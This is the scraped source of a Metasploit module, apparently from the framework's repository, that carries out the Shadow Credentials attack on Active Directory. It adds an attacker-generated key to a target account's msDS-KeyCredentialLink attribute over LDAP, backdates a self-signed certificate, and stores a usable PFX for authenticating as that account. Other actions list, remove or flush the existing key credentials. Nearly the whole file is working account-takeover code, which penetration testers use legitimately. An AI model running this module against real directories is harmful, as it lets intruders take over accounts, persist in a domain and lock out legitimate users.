Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
77437 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Auxiliary::Report8include Msf::Exploit::Remote::LDAP::ActiveDirectory9include Msf::OptionalSession::LDAP1011ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Shadow Credentials',18'Description' => %q{19This module can read and write the necessary LDAP attributes to configure a particular account with a20Key Credential Link. This allows weaponising write access to a user account by adding a certificate21that can subsequently be used to authenticate. In order for this to succeed, the authenticated user22must have write access to the target object (the object specified in TARGET_USER).23},24'Author' => [25'Elad Shamir', # Original research26'smashery' # module author27],28'References' => [29['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],30['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials'],31['ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION]32],33'License' => MSF_LICENSE,34'Actions' => [35['FLUSH', { 'Description' => 'Delete all certificate entries' }],36['LIST', { 'Description' => 'Read all credentials associated with the account' }],37['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],38['ADD', { 'Description' => 'Add a credential to the account' }]39],40'DefaultAction' => 'LIST',41'Notes' => {42'Stability' => [],43'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes44'Reliability' => []45}46)47)4849register_options([50OptString.new('TARGET_USER', [ true, 'The target to write to' ]),51OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),52])53end5455def validate56super5758if action.name.casecmp?('REMOVE') && datastore['DEVICE_ID'].blank?59raise Msf::OptionValidateError.new({60'DEVICE_ID' => 'DEVICE_ID must be set when ACTION is REMOVE.'61})62end63end6465def fail_with_ldap_error(message)66ldap_result = @ldap.get_operation_result.table67return if ldap_result[:code] == 06869print_error(message)70if ldap_result[:code] == 1671fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')72else73validate_query_result!(ldap_result)74end75end7677def warn_on_likely_user_error78ldap_result = @ldap.get_operation_result.table79if ldap_result[:code] == 5080if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||81datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&82datastore['LDAPUsername'].end_with?('$') &&83['add', 'remove'].include?(action.name.downcase)84print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')85elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')86print_warning('By default, only computer accounts can modify their own properties (not user accounts).')87end88end89end9091def get_target_account92target_account = datastore['TARGET_USER']93if target_account.blank?94fail_with(Failure::BadConfig, 'The TARGET_USER option must be specified for this action.')95end9697obj = adds_get_object_by_samaccountname(@ldap, target_account)98if obj.nil? && !target_account.end_with?('$')99obj = adds_get_object_by_samaccountname(@ldap, "#{target_account}$")100end101fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_account}") unless obj102103obj104end105106def check107ldap_connect do |ldap|108validate_bind_success!(ldap)109110if (@base_dn = datastore['BASE_DN'])111print_status("User-specified base DN: #{@base_dn}")112else113print_status('Discovering base DN automatically')114115unless (@base_dn = ldap.base_dn)116print_warning("Couldn't discover base DN!")117end118end119@ldap = ldap120121obj = get_target_account122if obj.nil?123return Exploit::CheckCode::Unknown('Failed to find the specified object.')124end125126matcher = SecurityDescriptorMatcher::MultipleAll.new([127SecurityDescriptorMatcher::MultipleAny.new([128SecurityDescriptorMatcher::Allow.new(:WP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),129SecurityDescriptorMatcher::Allow.new(:WP)130]),131SecurityDescriptorMatcher::MultipleAny.new([132SecurityDescriptorMatcher::Allow.new(:RP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),133SecurityDescriptorMatcher::Allow.new(:RP)134])135])136137begin138unless adds_obj_grants_permissions?(@ldap, obj, matcher)139return Exploit::CheckCode::Safe('The object can not be written to.')140end141rescue RuntimeError142return Exploit::CheckCode::Unknown('Failed to check the permissions on the target object.')143end144145Exploit::CheckCode::Vulnerable(146'The object can be written to.',147vuln: {148resource: {149ldap_dn: obj.dn150},151service: report_ldap_service152}153)154end155end156157def run158ldap_connect do |ldap|159validate_bind_success!(ldap)160161if (@base_dn = datastore['BASE_DN'])162print_status("User-specified base DN: #{@base_dn}")163else164print_status('Discovering base DN automatically')165166if (@base_dn = ldap.base_dn)167print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")168else169print_warning("Couldn't discover base DN!")170end171end172@ldap = ldap173174begin175obj = get_target_account176177send("action_#{action.name.downcase}", obj)178rescue ::IOError => e179fail_with(Failure::UnexpectedReply, e.message)180end181end182rescue Errno::ECONNRESET183fail_with(Failure::Disconnected, 'The connection was reset.')184rescue Rex::ConnectionError => e185fail_with(Failure::Unreachable, e.message)186rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e187fail_with(Failure::NoAccess, e.message)188rescue Net::LDAP::Error => e189fail_with(Failure::Unknown, "#{e.class}: #{e.message}")190end191192def action_list(obj)193entries = obj[ATTRIBUTE]194if entries.nil? || entries.empty?195print_status("The #{ATTRIBUTE} field is empty.")196return197end198credential_entries = format_ldap_to_credentials(entries)199200print_status('Existing credentials:')201credential_entries.each do |credential|202print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")203end204end205206def action_remove(obj)207entries = obj[ATTRIBUTE]208if entries.nil? || entries.empty?209print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")210return211end212credential_entries = format_ldap_to_credentials(entries)213214length_before = credential_entries.length215credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }216if credential_entries.length == length_before217print_status('No matching entries found - check device ID')218else219update_list = format_credentials_to_ldap(credential_entries, obj.dn)220unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)221warn_on_likely_user_error222fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")223end224print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")225end226end227228def action_flush(obj)229entries = obj[ATTRIBUTE]230if entries.nil? || entries.empty?231print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")232return233end234235unless @ldap.delete_attribute(obj.dn, ATTRIBUTE)236fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")237end238239print_good("Successfully deleted the #{ATTRIBUTE} attribute.")240end241242def action_add(obj)243entries = obj[ATTRIBUTE]244if entries.nil?245credential_entries = []246else247credential_entries = format_ldap_to_credentials(entries)248end249250key, cert = generate_key_and_cert(datastore['TARGET_USER'])251credential = Rex::Proto::MsAdts::KeyCredential.new252credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)253now = ::Time.now254credential.key_approximate_last_logon_time = now255credential.key_creation_time = now256credential_entries.append(credential)257update_list = format_credentials_to_ldap(credential_entries, obj.dn)258259unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)260warn_on_likely_user_error261fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")262end263264pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)265stored_path = store_cert(pkcs12)266267print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")268[credential.device_id, stored_path]269end270271def store_cert(pkcs12)272service_data = ldap_service_data273credential_data = {274**service_data,275address: service_data[:host],276port: rport,277protocol: service_data[:proto],278service_name: service_data[:name],279workspace_id: myworkspace_id,280username: datastore['TARGET_USER'],281private_type: :pkcs12,282# pkcs12 is a binary format, but for persisting we Base64 encode it283private_data: Base64.strict_encode64(pkcs12.to_der),284origin_type: :service,285module_fullname: fullname286}287create_credential(credential_data)288289info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"290stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', session ? session.client.peerhost : rhost, pkcs12.to_der, 'certificate.pfx', info)291print_status("Certificate stored at: #{stored_path}")292stored_path293end294295def ldap_service_data296{297host: session ? session.client.peerhost : rhost,298port: session ? session.client.peerport : rport,299proto: 'tcp',300name: 'ldap',301info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"302}303end304305def format_credentials_to_ldap(entries, dn)306entries.map do |entry|307struct = entry.to_struct308dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)309310dn_binary.encode311end312end313314def format_ldap_to_credentials(entries)315entries.map do |entry|316dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)317struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)318Rex::Proto::MsAdts::KeyCredential.from_struct(struct)319end320end321322def generate_key_and_cert(subject)323key = OpenSSL::PKey::RSA.new(2048)324cert = OpenSSL::X509::Certificate.new325cert.public_key = key.public_key326cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])327cert.subject = OpenSSL::X509::Name.new([['CN', subject]])328yr = 24 * 3600 * 365329cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)330cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))331cert.sign(key, OpenSSL::Digest.new('SHA256'))332333[key, cert]334end335end336337338